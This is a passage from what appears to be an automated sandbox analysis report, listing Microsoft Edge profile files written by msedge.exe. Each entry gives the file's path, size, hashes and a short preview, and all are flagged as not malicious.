Entropy (8bit):	2.82599553958469
Encrypted:	false
SSDEEP:	192:tTrbuAL0kQzhoyLx7+flHr6PWhtZvyT6pUM0c4p0L/ZJVb:VXl0ZFoyLd+flLCiG6pUM0lp0LhJVb
MD5:	ABDEA719FD2C47610408EC17699F8CAF
SHA1:	2EAF4AFDCDEB149A083851BE146BA8A0E3DEDE0A
SHA-256:	4B37B79E40F29A57CEEDA36E2C0A668580D37ADE1D9A23DB2B0521AAEF1A5C11
SHA-512:	D3E123AFC2F59D7B2147BD1EEC378B7BCE9736F593B5732743B4B7ADD5D3F3D669D301AA5E41EDD953281CA7E079B7F62CBC00CC2BC11FB1914DA1B6A256F1C0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4a2c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF71d98.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 10, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4833238917872935
Encrypted:	false
SSDEEP:	96:uIEumQv8m1ccnvS6mvd3+noG9WhXKT4cOw1a:uIEumQv8m1ccnvS6IGo4WRK9Or
MD5:	6400EA22515550F12EA9521C340AD439
SHA1:	5DAC33BEB8783B7C353121A00DCBF004942206DF
SHA-256:	479C31855AA5CE77BEDC5CD089E2551868C933847C937D400AD855EEFBBB3967
SHA-512:	AEBE6B99E71CFBE0D2F0511818F6262448E95DA91A999DB57A37A696804F66F3469F1989DDE4D74E298EB0195A8FC33DAE209C8DEB7222E9A9D3A4224DCB68D7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3925e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a5a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\baede17a-6a8d-4ff8-90cd-b98c9bcc0343.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1990
Entropy (8bit):	5.2982788927852855
Encrypted:	false
SSDEEP:	48:YcCpfgCzsGtsgfc7RsTsleebstCgHUIsHCgHqkhYhbj:F2fRn2TkeITUXTqkOh/
MD5:	04A48F0719509491240C486973A8D869
SHA1:	1D2D1B3A834AC0904F2CC55885DD61FBA33E77A7
SHA-256:	E3ADD63C4B9BF29194F6F3EE9FA58D99414C6994B86E76CFD5E25928B64AB04C
SHA-512:	3D62BA297D1869E2EA7F22933F81BA5AFA7BFD91CEF989981373FAA68B771DB9DA94252FD5974AA960189585C7750E8E1D219B745C283CC41688CABC18436095
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378469842133332","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378469844535954","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e9c921a0-ecb7-4706-a03e-70f5242e8462.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.788780680752238
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJ5a87vo3tBO7wXI7J5fc:T+OUzDbg3KfEtBBqc
MD5:	55A4225A9F7472C66A66FE86A2609F0B
SHA1:	91BE56F5BF0A0EBE16FEFA8836E7A27EA72F1C32
SHA-256:	58A3DC58E92F6EA11A7594748154C774D1EB63B6713011027F783F2885C8FA2F
SHA-512:	088E48D16BBF834F055C83DA0B931552657B80C884313F86230DB4B85B10728190F16959267337008AC22F8D7CF6188ABEDF440F26FA3A1772FABFC590C8CCE7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d562.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40fea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43c4a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49799.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF585a2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF841e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558306368051718
Encrypted:	false
SSDEEP:	768:goSI1MW6H7pLGLp49W5wsaf4fy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7bIGL/Fi:gVgMVBcp49Wasafqyu1jaWL7uYtK
MD5:	A2AF96684A7DFE45C4D9054919CC2CEF
SHA1:	5412C5FA98F82960E18EC5E1901067CC5CC18371
SHA-256:	ED8F091268D5CB59FF75C074F702C8C8809C2AFE87E368CB9DEB8613CF19BD82
SHA-512:	657EF8B85B8CADA5294D3C9707FEA0909E1C82D7C0CECABAA93CC287AF91BF469424FFB30D39ED29DE221927FA3D9E4B6B3F1DBA2B0BFDE8B9A5F8F8C3FB3F15
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375877839602752","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375877839602752","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3d572.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558306368051718
Encrypted:	false
SSDEEP:	768:goSI1MW6H7pLGLp49W5wsaf4fy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7bIGL/Fi:gVgMVBcp49Wasafqyu1jaWL7uYtK
MD5:	A2AF96684A7DFE45C4D9054919CC2CEF
SHA1:	5412C5FA98F82960E18EC5E1901067CC5CC18371
SHA-256:	ED8F091268D5CB59FF75C074F702C8C8809C2AFE87E368CB9DEB8613CF19BD82
SHA-512:	657EF8B85B8CADA5294D3C9707FEA0909E1C82D7C0CECABAA93CC287AF91BF469424FFB30D39ED29DE221927FA3D9E4B6B3F1DBA2B0BFDE8B9A5F8F8C3FB3F15
Malicious:	false
